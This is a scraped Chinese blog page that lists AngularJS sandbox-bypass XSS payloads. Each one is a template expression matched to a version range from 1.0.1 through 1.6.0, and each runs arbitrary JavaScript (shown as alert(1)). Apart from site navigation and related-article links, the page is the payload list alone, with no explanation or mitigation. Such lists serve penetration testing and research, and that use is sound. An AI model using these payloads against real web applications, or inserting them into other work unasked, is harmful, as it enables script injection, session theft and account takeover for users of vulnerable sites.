zoukankan      html  css  js  c++  java
  • AngularJs XSS沙箱绕过payload

    AngularJs  XSS沙箱绕过payload
     

    1.0.1 - 1.1.5 

    {{constructor.constructor('alert(1)')()}} 

    1.2.0 - 1.2.1 

    {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

    1.2.2 - 1.2.5

    {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

    1.2.6 - 1.2.18

    {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

    1.2.19 - 1.2.23

    {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

    1.2.24 - 1.2.29

    {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}   

    1.3.0

    {{!ready && (ready = true) && (
    !call
    ? $$watchers[0].get(toString.constructor.prototype)
    : (a = apply) &&
    (apply = constructor) &&
    (valueOf = call) &&
    (''+''.toString(
    'F = Function.prototype;' +
    'F.apply = F.a;' +
    'delete F.a;' +
    'delete F.valueOf;' +
    'alert(1);'
    ))
    );}} 

    1.3.1 - 1.3.2

    {{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
    }}

    1.3.3 - 1.3.18

    {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 
    
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=alert(1)//'); }}

    1.3.19

    {{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
    }}

    1.3.20 

    {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

    1.4.0 - 1.4.9

    {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

    1.5.0 - 1.5.8 

    {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

    1.5.9 - 1.5.11

    {{
        c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
        c.$apply=$apply;c.$eval=b;op=$root.$$phase;
        $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
        C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
        B=C(b,c,b);$evalAsync("
        astNode=pop();astNode.type='UnaryExpression';
        astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
        astNode.argument={type:'Identifier',name:'foo'};
        ");
        m1=B($$asyncQueue.pop().expression,null,$root);
        m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
        $eval('a(b.c)');[].push.apply=a;
    }}

    1.6.0

    {{constructor.constructor('alert(1)')()}} 
  • 相关阅读:
    jQuery.ajax()方法笔记
    Docker安装
    Linux下Nginx+keepalived实现高可用
    Linux安装Nginx
    Redis主从、哨兵、Cluster特性
    Linux搭建redis集群
    Linux搭建redis单机
    HashMap知识总结(jdk1.8)
    如何避免form提交进行页面跳转
    异步上传文件,jquery+ajax,显示进度条
  • 原文地址:https://www.cnblogs.com/Eleven-Liu/p/12600961.html
Copyright © 2011-2022 走看看